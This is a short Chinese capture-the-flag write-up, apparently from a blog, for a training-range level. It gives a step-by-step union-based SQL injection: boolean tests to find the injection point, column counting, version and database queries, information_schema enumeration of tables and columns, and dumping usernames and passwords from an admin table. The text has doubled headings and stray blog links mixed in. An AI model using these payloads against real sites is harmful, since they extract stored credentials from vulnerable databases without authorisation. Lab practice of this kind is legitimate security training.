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1.找注入点找注入点

?id=1 and 1=1 ------ 显示正常显示正常  
?id=1 and 1=2 ------ 不显示不显示

2.猜列数、报显示位猜列数、报显示位

?id=1 order by 2 ------查询了两列查询了两列

?id=466454 select 1,2 ------将将 id设为一个不存在的数，看显示位设为一个不存在的数，看显示位

https://blog.csdn.net/x_yhy
https://blog.csdn.net/x_yhy/category_8898361.html
https://blog.csdn.net/x_yhy/category_9137931.html
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/x_yhy/article/details/96371753
https://blog.csdn.net/x_yhy/category_8898361.html
https://blog.csdn.net/x_yhy/category_9137931.html


3.查看数据库版本和当前数据库名查看数据库版本和当前数据库名

?id=132321 union select 1,version() %23
?id=132321 union select 1,database() %23

数据库>5.0,可以使用information_schema进行后续操作。

4.得到表名得到表名

?id=132321 union select 1,group_concat(table_name) from
information_schema.tables where table_schema=database() %23

根据题意，是得到管理员密码，之后操作admin表

5.爆字段名爆字段名

?id=132321 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘admin’ %23

6.爆表中数据爆表中数据



?id=132321 union select 1,group_concat(username) from admin %23

?id=132321 union select 1,group_concat(password) from admin %23

提交flag，结束。


	封神台----尤里的复仇I-第一章：为了女神小芳
	1.找注入点
	2.猜列数、报显示位
	3.查看数据库版本和当前数据库名
	4.得到表名
	5.爆字段名
	6.爆表中数据


